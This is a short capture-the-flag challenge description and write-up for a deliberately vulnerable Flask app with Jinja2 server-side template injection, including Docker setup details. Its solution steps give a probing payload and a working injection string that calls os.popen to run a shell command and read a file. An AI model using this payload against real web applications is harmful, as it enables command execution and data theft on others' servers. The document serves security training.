CTF Challenge: Flask SSTI

Type of Challenge

- Vulnerable web app (Server-Side Template Injection, SSTI)

Technical Details

- A simple Flask app takes user input and renders it unsafely in a Jinja2 template.
- The user input is not sanitized, allowing template injection.
- The flag is stored in `flag.txt` in the app directory.

Write-up (How to Solve)

1. Submit a payload like `{{config}}` in the name field to test for SSTI.
2. To read the flag, submit: `{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}`
3. The flag will be printed in the response.

Possible Hints

- "Sometimes, templates can be more powerful than you think."
- "Try some curly braces in your input."

Other Details

- Difficulty: Easy/Medium (basic web exploitation, SSTI knowledge)
- Knowledge required: Basic Python, Flask, Jinja2, SSTI
- Resources: Docker, Docker Compose
- Network: Exposes port 8080

Implementation

- See `app.py`, `Dockerfile`, `docker-compose.yaml`, and `flag.txt`.
- To build and run:

```
docker compose up --build -d
```

- Visit http://localhost:8080

Group Members

- Conrad Osvik